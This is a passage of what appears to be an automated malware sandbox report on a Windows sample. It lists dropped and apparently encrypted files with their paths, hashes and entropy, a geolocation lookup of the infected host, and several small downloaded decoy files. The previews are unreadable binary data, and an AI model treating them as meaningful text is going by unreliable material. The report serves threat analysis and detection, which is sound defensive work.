SHA-512:	138DF41577E440EFEDA92CD4DEF0CFAEEF6CDA668973203D31870588329D101A42EFC5EE2C80E8E8AD422AB3B0D75D8947DB91A82309434313CD5C80F6BC4EAA
Malicious:	true
Preview:	{"ram:..a....l.X.l.:lm..s.\9.h...:k.............0.]-...7.[2.a:1.G.!....C..0.bb.>.?....o..GGUU..8.....i......!..$dI........k...G.{..N..\...k:z..RP2S....]..Z...DZ.\|.v)P:7.s_........=BF.H....:d.N.....C8M.....%..4$..4..x...#...Nj..vi .......(.)......b..!....Q.&.8......O.T...C..5w.....Dv[[.`klK...@-......n...}........:...Sk...u~....3TE...*;O.O.C...o..G./.U.k.2!o..m..h<...-.\..'a..w...X..\..Ge0_......x]t.%<.+...qgc..\|{.,aB$..."..#.."j..</..].....mM...Qt.X........>L..pg..t.gE<L..!.2 ?.;..B...R..f4'<... 6.......%=.9..F..2D...IO8.Y..N...4..=?....z.!./.7.k.$..o.RQ..`x...a7.U..(\..:..P.v...j-.X.!....D...-........xBv...s........$.P.E.Ybec...-<...e.[.....;c.6hT.'rM.8.Z....q0`..&HO.oF...k.J.{p'..e..'..q&.(.....N.'`^Ki.?._,.Pv.gX..0..Cy..N.R....7.:......\|.T=.Q.....e1.J........E..^.?.e.y..Vw........%....\..H.7.p...]..n..c...q.M...D.sw....i....&..f.a.$.O.0....l.Q....SZs.:....T.!qw.'.....(..7......`M8.\|.;Mv'............4....0.....l..<.,y.:6^.......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\Windows[1].json

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	814
Entropy (8bit):	7.701223827520542
Encrypted:	false
SSDEEP:	12:YW5Cdzht4qY55/D+eKn4G8raqZtx7ouyOXqbp9YRzSBo4vc8xMmhNu2cHboWgtKS:YSgvY5VOTloouyOVBUK7HboJtKVtkbD
MD5:	7F719440EDAF8C0FF6C81DF156A8AA51
SHA1:	7A73AF9C3DF0534A59E8A20DDFE6685DCA8D42D8
SHA-256:	3CBE739767AA18227F02A8DBF7CE0C8941BDAEFB346B21AF39F0A71D499ECC00
SHA-512:	CFD6EE653117CCCAC7E86A103AA3AFEB46D85F4C0E539DB87EA48D233A7A34010AE099A1E639675EBE647ACDBA138DF45FFC14E62CBFEC14D8A72BA48F7C612A
Malicious:	false
Preview:	{"ser..1..lk\|&...Dw..R.tH,h..'.h......9.)sXH...cg.S.&r......Vl......>.9KU...y.l.Y[,.1.s..-..I.\|r......g.Tm.....@".RQoj:O.HV:...g..7.v.[.HI......i.#3..m...^...}...~P.....10.....1\|.WP.r..T.Q.`Z...%.....Ic'^...1r..$.......PV@..6N.j....{.2,`.....ZP..OO...i..$.......j....E....B=...u.t~..,M$6..k....y..?.k.... m...G.@.9p....1^Ao%.7.rO,.h..e.N...v.w....o.L...-#.r.r;.r.rKt.]..S]..,.O&.c.6W...p.-/.`.........!.4...[a..#.]o..(S...e...#.Pj ...7#.......;.v.....s...]..B>>9...w.?.@....1..g.Fy..2.7.M.OqM.!!..k#...H7P..r.1.....k..c).<"."..$./...K.b,h..s..-.`..]...=).=.5..j{.Xop~xj...-/. ......2.i.:.]Y....m.Rb.v{..%.w..<R@m..C$6....2..KH...r7.{u2q\|\|.X.x..I.5"..$D.uYA)...>...mW."4U..~d3x.e..Y>..... ..~.y.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\geo[1].json

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	411
Entropy (8bit):	4.6420780896559455
Encrypted:	false
SSDEEP:	12:Yd9wpHEx6useCtrESQVctrESQVzR4heQ3htrESQV/m0mQP2JSnVR:YdgHD+CtrRQVctrRQVzRZQ3htrRQV/m0
MD5:	EDCA7C5EAEC41C2D1880B6161721C8BE
SHA1:	9A650E1C3E6B7E8858A48D55F21C10C99EBE8AC8
SHA-256:	CADED2E85735BEB1518F1C907BB108B1DCD9C481DAD682B7E0A8E1009C541065
SHA-512:	2C39E15ADEAC90FB6D8F5F87B384F86A79E15F0582A4E8618C264FEE7223958E2F51AC5FA60001F95AE215351B677D91718E551DAB655B14F532556CC2D6AA7A
Malicious:	false
Preview:	{"ip":"8.46.123.33","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","city":"New york city","city_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","latitude":"40.713192","longitude":"-74.006065"}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\k1[1].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\lvAVrO.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\k1[2].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\lvAVrO.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\k2[1].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\lvAVrO.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\k3[1].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\lvAVrO.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\k4[1].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\lvAVrO.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\k5[1].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\lvAVrO.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	64281
Entropy (8bit):	7.997090410706835
Encrypted:	true
SSDEEP:	1536:kkpsdyIvRq2jehHSrxdZVEGysXbMZv44Wzz1uWYulZ:qdB5FeHSrxdZVE4e+1uWflZ
MD5:	CB470FD614E61BC1242C1CE936C66752
SHA1:	C1644498952C9ABC91FB01B3D4F9B37BEDC0702E
SHA-256:	F2A8CFA5C07599B60F65A61EEA78D40DA6F8BACB8A9256B28237E77DD45E430D
SHA-512:	B4A48C61D7E25BA4D0C3C8B69DDA40B6C6E9764CCB36097A73F88D64772BDB0600E1B6649DC78BD2E05E0FE621A8E08BCCA813032A86B93908FEF2FD9EAEC4AE
Malicious:	true
Preview:	<?xmly..c.U17.._/.Pg.,\..=.s.L..Yl.d.5u}h0.>qj..l1.B....B...a.!6....5....V....CxO.>.]^Y.Q...o..)k...........x....$Z..-.7Q.n.R...T.!.7..Fw5-.e[.......w.........7I.V...3RP..BE...Y.9....qY.1F....Q4L.g.Y0:..t].~....0.]u..u:H\..7.:F.[...dG....i."c.g..8...t...pT..ep..._.-S.k..Fj}+\|-.)..U".....L...f..o:x9..`.3...5....S.?..{..!n.8/...l....L.p....E`.;h..+(B..&.w..v. .};.=..x....Y~.t...W.s.D.64..x6.p.r..v..&.'...j.<H....N.iT..Z..-...&a...c....\q.&....m....X......4,.d....pZ........V....C/Z7Q..\.\V;W[..k.Y...H..h......2Ab...9.D.n.$..y.V..^....jt...6......>&r...?!./..g6:.J.m..2...B..".....P.g...B..L+..Zh..I...7...E.....\.~...........rX].~c ...I...>K.Q77(.E....m.H.2'Q......i.V'0......ZA's.g.....`.I."L..cX.....#]..`..\|...V......``O...5\..Kba."...?.V..z...q.h.}.....`....=n.I.F...."...o.0.....CQ.h.C.rz...@....:.6.\|...#..;u.m....{ta..%.Z..U.....9..G`.a9.v..hy..(...zC..~-B.._.o.l.....<.!..)....9f.-W&............\|.......G....-.uo....<o.....]qfZ%e...wJAzP.

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9740447261253715
Encrypted:	false
SSDEEP:	192:rCNL4G2LNQtE8Fr34PsuNVsw9TgzUijF71dm1wI/gLMtGPK:wL4HutE8Fr8suN3TgQid1djugTS
MD5:	63849FC7993D5D4C1F8ACA3DFF017D6A
SHA1:	DB77D7142CA9821F36F708A96C7BEABA839E7610
SHA-256:	A2A23F7E5590EE1A4BC3F2EF392E712F622BD5FAEDBE0879F2F251679E543505
SHA-512:	D5CB8D0CC7692E29FBFC8CEC9397BF6D8BB39DE6D3933A8FB1CEEF42FE11172969F6C369A0C5A680D431080431FE789AD18EC990B3C9209A50965F07909BFE1B
Malicious:	false
Preview:	....8.Y..H......Q..28l..S.....k}k.#.S\..D.. .."l.2.&.2....fv..[d.+=..(..zwdP....k1.Y....N..,.(<...........%.U....%..W....P..N...q_.C.....%.....{1Ws..+../..i.z.._.,q..<.L.~....At..s.'.`p..FE.d........V........$...g.\61......e6.`..{.J.{.l.(......hAC.a.k...)...e.M.....U?,4....P.......;.w....}8.u`.~nfk....x.._...=s.{jz.~..6S.....k.}E....DO....n...^..dPx.8.8...H0..B...K...B.aN.wU......^x".wA.....v..\|V.~.U.2......f.s<..2T0.V....~.I.D...ed....G..+.4@6..]....z...P...y.iA4../..N....9...X$.....q5.sD.#{z~zV...C....y...x.#...v...........z...;f..4..C..'.3.=...M...u.Uem......x.......F,``..l......h......>\.>....[.z$2.M...%CT+(^.;.eDv...:....c..w.../3E:....n.U..u..;vY.1...%..Q.N.?..d..aQ^Pn:.K-4P.mr1.=...p.G......C..f\..o.Q..m..e,s....8.` )..C!.....Ma...=lB7;.......l...M.Le&......X...-...O..j.R.$.K.......(nvZ..X...IwB!.)a.dJE.}@.MA..7z<..m..HJO.>..Sb..^..}..U.b~.....T..).\.........";...}..2z.vx.2..v.+NM.~<..^:.,\0z.W+.oU!~....)P..~..........

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V0100004.log

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.550845386505577
Encrypted:	false
SSDEEP:	3072:566lily8lk/+CwzkLNbo5TWW6j+xw5mOqqA8sTAQGOdjSdtwhdM+vmghP0s7dXqX:864cJ/n3xbwnxa3LGd/m2824WFG1J
MD5:	F0043EC8556E0D1512926F632F14F61F
SHA1:	01D310D3092EF5B2742B566CE14CCDFEB0815A61
SHA-256:	358F2404D0C800072EEFC26A143D6B926C97015E3A002C82CE0F35854BE77FC0
SHA-512:	A54DB1013A5789E81BB8BFBEA697459232BA73331BC605B3344A8027C64597374872AD63B689091120CBEE7680FAD8F7DB3754B74B8578A8990C843CAAF04279
Malicious:	false
Preview:	2.7"....:Gf.P..l..n...e...M..pT.V........Te?O3....[d..f....j.X...J<..8.[mQ.:wy.....F...v./...b...p...o....DW...8./%....0v...~.....O.xd.U:.d....5.a..K..&.]ze.2A.V..J.rHY.....T.-..FL..[..+..D....#}G.Ql...Y.....~....7.....JC..g...).....V......a..w7...c. .i......................gF...........\2.A...R...!.......w..N..z...oE........>....K.;'e.O.d.'.Z.uK.C.Bi\|.....h......S....YG.C.\|..I+.y...k.k,..Ln.....&7W........jk.m.@~.B..y......^\|..f..5../PM#...e.x.D5.xk..."+v..b9;h....33.T.&2..8.S.... .q'd....L....r...!......qH./.o@q...+8..N<.8@......P.{m...T....T...,\...'t..>.."..?.z!/4...!A...m...#..t..e+.......N...O& ?.UE.=R..Lz ./L.-..s]. ..<Y2.\P....=l.....C.."........Q.!.&~.h..%_..d.&.....s...Kfr.x...l..g..u..)\|..x....Gk....e.X.l..1.[..9.#...w...U.b\..tj....&.$.a...3....i...#...ym..5.H....cu.S...~K.t.C...t.!6....:~."w..58x....T.'.4:...le......u...E.....'`.&..H.x~..... ...Q..T.......)$.. d..ye0..R....}.. *h..E.\|..B.@.".e.)...1....S7~xn...]V...]....q.

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01res00001.jrs

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208225455954585
Encrypted:	false
SSDEEP:	3072:qNAneqqesUwsb8TlxzlaRuvH0k/JNQhxr/4sgrp6MC0+Jni:/dQhsb8Tl/a+HNEjT4sgrEJu
MD5:	9E85DA896309B331FAAFCB99D4871AF1
SHA1:	4424A8AF6EED0B891B6E6E38BF5154AE8BFD9534
SHA-256:	56355FBEE3F8A744F420A2AB2169F0660BAD24FAD0F423208D80236003A8682D
SHA-512:	EAA0D77F29C1CF0D0214042607762E9451C206C1C06EAA4FBF443828FFE65709F9B8754DD346D2EFDA311E55167B28FF4B5A820CD995E70724F8F57035D7A3DE
Malicious:	false
Preview:	........&..n...-..W.A..8....W...J>~.3..XV[;v.G....{...L.I........A".rV]..qDj..D\|..D........b..SC0._<.}Ulo.e~...}r..e...~....>E.......G..\W....W0I..e7.........8_.+.p.y..v.Vv.a8w..\o..1........?...%.=qh..a<........$.V...;X.:L[...N.F..x......9'.....).._.E..%...?.t...F."..4L\|..F..^g.#..8.Q..06=<.~........Nd.U.h...`....$\|m.A.oS.`..h...K.#kf.....~.R.].....,...;H..lw...e._~D/.....mr..T:2..I.0.h.<...k.xlN....:....B...I)2..IJ.....j...n....7E...... %.w,.z"...nh....._...OM`.....A..<....#...YW.Jzm.Q.I.3P..o;......'..... ..$.....'.1v...$r.]......{.JVF._........HW..gA..O.Q.....mh.qjB.......S2m..my.[.../..X.{.-..7.g....DW<.....Q..T........=....,h.2.....v.w.^.J7..sl...dSf9B..z.j.......l1....g.0.V+....1d...}2.S..X.X...VA.$....-..M..0..a...{v.<p8a..2....O.`..9...R..7.d..O....e..Y.....Dq.r<.hI..~}a.e.>....\..IH.....7...f*.....;1AW.M.i..#2..?.P...T...n..\|.\9..6S.j.jK.]...pV.7m.......x6.....(...a`<Y"....L.D.gN....!.L.Fm......$..)..2..g&.Y...`

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01res00002.jrs

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207709685179684
Encrypted:	false
SSDEEP:	3072:Fo5XIdXuEt1MhzuLHW5yoAFCiW3eu30bbc7GkvCAiF+bMj:5tuEDSSoZiwWcJvC9F1
MD5:	C710054EA5FA1F72CDA7A9C41F6F8B0A
SHA1:	6BD83D3ABFDC2CEB04DBA81432045D780DAC8D83
SHA-256:	14E426D9FE9811EC8D2A8FD7273D574691603FC8D46BFCA8ADC45386089D1CCD
SHA-512:	B8FFAC479C2FC325B7A2D7BB5ED502E1E3DBEE70F1CA80F84E73967945C01F6500F01B065252B252BF566525F4E1A67B8766650158DC09D798A92F3B244D733B
Malicious:	false
Preview:	........Sx.0dN..,.@M....M,a...6.x.M.t.v.Z......`..2...A.e...TE......G,.e.....C..S.c...Z....DHb.'.<{...L.Y.L.sR.........s._.GH.....b.:j.e..PbX)!....R...e<.!S........6.z.y88..>g.R..\|.A!i..1l.}.o\E6!..t....s.X......E....._...@.M..).W.U.oI+\....m:...7...e..OD.....b....9.DmAgJ.M3..x_O.-...h.9p........S....f.'._.z8...,"..SS.@'...4..'G.........;.\Z#J......np>.H..."GE.fm....Y..O\...a...H..7.."BL.##.....I.Z)...7.8.Z.;6.O..........M..SL...kY.....J..7..?1.2.oj.....I.T=.Hff\|.........{..=.FF./..g...).B..Xp1 ..&.J9"..5.VH.E......<GU{...$.......z.M..=k.{..>].h.....=...wvw2.w..ql....B.,...d.#..\.......p.m.....;.3sY...p.).1r..k....z.....ce.e......&H...w#.x.h6x..3.G..B....3S.....7...$.#..uyF...9h..Z..r.4j......CM..n./..G*..Y.:c.......N.n0..ER8a.2.....}..p.T..A.............F....[...6_.4X...N.,.o}...-...Et.Q..w\|S.5.<.!/&E.X...L\9z...<l....iE.w/.....=.Y..hd.//4>8.c.O]....2:..Z....%q?...,;..T...`c..0.a.G%v".av`2hV..r:=.s.B`r.m ..yw>...........D.........c.w.G>4..u

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01tmp.log

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.400456815920113
Encrypted:	false
SSDEEP:	6144:iy2LNPwNoyI9WtGLtIreXtM5/I64lUZ/8koefm8M78a503lGMw8:8CZYWsBpXtM5w64SZ/PDa01
MD5:	DA35DD00C83E39DF7C6E99304DE6C39F
SHA1:	0998F549EF0AD6266F8E501018CBC98E0F433615
SHA-256:	39C8DD7B7AB4FBFD1E0C97839EB151909CF1F0A3F8FAF0DE5D9FB1B399FD7289
SHA-512:	512EED89839BD20654689FFDBE0CFF888924E3FD6B96C8847703C4B6343BDBFB0B1E1FEF038C77E5043B95A054B153F7DFF2D927672C791C2A8D82A0699D4DCC
Malicious:	false
Preview:	......T"..C...;H.De......t...jo!.f0.,1]CZ0#6....+._......./.............4Z...)LR.T...E.R...}8.\|.A...p .:.G...b.3..D.....`...;..#..-.......Gi.WSsI{.rK.^.l.\|....evj.;.p..6Y..Tm....5.NZ..gHO...d......T......e...Z}))....v.5....,_......qX..tx.3._9.p"...... Z.$...t@x...(..\|..\|Q.F....U..{.@.d...O'lH...O.f...G.`sY)]TP......G...).....'.M.Q...}@... ..b...(......I"....=...?.U..vR.Qw.c...yNm;5s6..W.n.,?sbe..d2 .t.iA#.:.{l..D........]..J.V=1.>..2qFp.`N...@.6..L.....'.?..j...,.L]..zN...m.[.S..t~........d..%......z....i"4i.{3......8..%........U\|y.7._...#.m..c9...-.s..p!...=.\.$s.]...e..?]u....Bi.!..>.{.E`.5....{...-..ZFR.r[.+......P6p..Yy~.....)....z.ufK.......gV.\|?u.h.(..Y2.....y:......a....).z.\|..\|.>.r.......N..Y#.u...]..u..}v..U_f.Y.ZA#{..)..'xWE.C.....GCiqbx..e..9.....)...S.#I@ ...$@.: ...LV...../.("........_d.....J"Z.vg..[<...?..n..._;7.i.....C,..YB...J..o..`.m.}...0...I......N..+.....w..;k....w..Rr.. .0y.X!.GdO.V..T..m."?.8M..g.....D4.........M

C:\Users\user\AppData\Local\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981207040988775
Encrypted:	false
SSDEEP:	192:mdz3oxCzAhQYW1RYkxuU+uBcGC86xtfoWG6WTo:mdMwzxYsYkxd+uG86eo
MD5:	20C99E40EAD11AECAD247CFCE7556CBE
SHA1:	5CD26BD2796DA6829A5646EE6FB3E6EDB7D7F255
SHA-256:	1CD1EC046F4F3FBCEBFCAA28B87EF55A1170F4A2AB211222989B223EA4D71C7F
SHA-512:	EAC9CD35FE4090DD924831DA0E156A557764C3B09D0C7028DF88341EC8576B54B0185578FA4026E8D6E5D27251F0C3F3D4ACF8F18B168C610A3DE5B661D743F0
Malicious:	false
Preview:	regf.Xp..sNg...k.E...i..m.g.w....yN7.;S.7$.gW....C.Zc.....&..E..;..,7...77..O.Rv.. ..^y......u......#.....y...<kj...3..hz.....qIJv3v9..P.G.1H..O&...sA...0.n.....JL$r.j.\J.i.E'....Q.V..q..ez.F>..............s.....N..5.Q.0Ln]....~...^....l=.,......&P..P.....4.t...I..../.eC..s..1\.Y..%gw^....2.g...P/.(..9....+$qO........c_.F.\.....=...N..h-...~.~4y.....Ws.Ou..r.~SL.....A.n?.].c...U..G..Km...T..}...lt%..f..h..7..M...g...Qr.g.0.T....:......Qj.Ax...@....+#[J..6....4...._.....K..y...gj..H{..{...........,...h..Xz.c..5....'..........=.=A}..._.a[.6...I..=...xK....+!b...tJ...9+...$.Zr.G........u...r6.....u.!,4.c.4...Q..o.FG.P.d0.S....v..X.F.0.....v5c.1...BN..XP..)QB..WN....i....P..R4q&.....C.b......pM.].......V.}..C..n..O..QA}x...G..>k........f.."1-.K.b........9.2B.Y.@la....k......r.z.._.W..;b.....P.Nc.s...[.n....ucO..8...^P......0-...C.[...&e.vh.=?b%...A.=....7.h....N.ReDe.\.G.,..x{.rZ..}B.....n.dB..Sq.i.Vs.z..)..$.b.z..9$:....

C:\Users\user\AppData\Local\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976426024267154
Encrypted:	false
SSDEEP:	192:vUCv/SgU16B3Jjws7mq8WsNC/m7LQsB6lj4hbW5WL:cCvJ3Bwc38j0KB654hW5WL
MD5:	3547609E8D88C5E0E083F9DB519C5982
SHA1:	D62EC726F49FF2530F50BA4A5372BDEFEFD727B6
SHA-256:	6D6F906F691ED78707D6ADADBBF41C03FEF13AC15CBEAAE9AF992D1B108A5374
SHA-512:	0B4E43EF52CA5874DEB4DBDD07CA933558A71C607866D5A6D18C71E67151AA8C416931893208C0F03AFF9E2B15DD4376C8187115F618789B9D0DCCF088E03E43
Malicious:	false
Preview:	regf..!.........JX..gU.i@.)j...%...(.........~.r.w.u..a.0.....gh4DK.v.... Kj..<..el........&Oc.:.~..h.e .h..'../.py..r......C..h./.B.S.O......m.@........d.H....T... .%K.......cJ.p.....F'[K...=O...A.hT.'....;....{......n..5M?bS.4.f.O.oob.L.;...U.ML.......I0~.......JG...k..J....4S...V.......k#1...9...\:j.7~.........ox{...Z.../?.M..u .U..u.....;...n......y.."1..4......$.Bfq..{.nF...C.......(...&..F`..FQ.KKtv....LY..)O.4...+..@......6....]=..$.&C.....8P..T.CY!~?D...$......m.....e.L.-.5<.:.!xi..D.Y.O....y...k..\..U.4..Z.YEB..k..G..{.0NS...X0..vJ..<gtO.kmTe.9#z.,y.D.._D....4......#.b..{w..x,i.>..wT4.R..y..a....h.3.S......^..q.}......t......./....rK...SK....U...W... .n..}....[\|dj{K(..m..C.L.d.W.bx.........(..T.t..XN.=.....2..e.!....g...3e..]..8....Y..H.....^.......6.^../...q&.~.a.....{7.vq.V....s5...<..^7.C.s...x.tR@.l.......O..94..c.d.M..#.8......&..S_8...I.ZG.O.,_..qX.1.........z....>....(j...<S....i.?An..-...#......?..H.B.~."....n..

C:\Users\user\AppData\Local\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.98013904308769
Encrypted:	false
SSDEEP:	192:dMOn3myGcEfqx/fTtmhq/m1H+k6w1f0JMTGxA90MTV:COn3IcUqxHTtRmZB1fpaxA90MTV
MD5:	84ACC7D94D91F6763C3B1308B04855E0
SHA1:	08AB7949EA3477245FD5848AFAD3C7B3C85E0CEF
SHA-256:	48F0067CAD32C91F988401324CDB468E4E2CBBF8D742DAD720C49E70BC4E5FE1
SHA-512:	75E671ED959A8B89C32549B000D8A7B753CD9DE6245B105C49CA91A0A709E59B7DD1FD88BC8E06AB1DF3FF068180BA45DC12D42DE94D2F6FA45FB5A8FB94A1E8
Malicious:	false
Preview:	regf..+....%}..09Vf.c...W.........Z4./.......g....E.t...n.K..I.t..G.+.q..}...4)z..iO.W......wi.L...#.....[Zm.o....o:..Z.....f...Qv..5F....d..c=.....{x:...d9..Eg...+...g..;.).C.Z.d.+\|_.._.^.".G.....eT.....l.#.Y...JI.k...2.....H+'{.......o......QC&.....6.?7.I'<....N....{.g....w?4^... ...............!.CQ..Q.......>..q...z.....79..ZIK.....}j..8<p@.?..U.d..p...3.wzC.0..C...G!9....}..F..;RE{...30..z. .:.=l..D_)...-..._..D2k..%..63.:'r.Fa..Y.$.3..0.k.0cI.4...j.F........I..i....(.rb3..P......h...vb~......vN.8..Z:..8Wp...kN.,A._.tU..>F...X...5{..T.8.H...z..S.C.?...PJ/......l.".1.....Uc<.u....Qw./.~.ist4U.x..;!R..O!F.xTgG...3...7..T...`.............D....m*v.....\.@.B~.....E/.w.m..JK,8..../...T#\|"..#?.......EOl.....}.@..@W.E...F....1..Q..\......'...AO...H>.@5".[.\|.~.............N.:OD..W..d.......9..q.z.C...!......;(z._..s....;<K.p.#H.u.Z..E.Y.I"........"~..}..,.c......D....d`..k....`.U:e.g.4..&.V..H.......u.}Z.s.Z`!..u....&e?.&Z....7...V9

C:\Users\user\AppData\Local\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.974200348080395
Encrypted:	false
SSDEEP:	192:XqStEEPAo/HEqNWjzvLbDOSpLPIKtpjwvgsAFdhuHX9rfRLNz1:XV6EYodNyvLb3pLggsKYHXxRZx
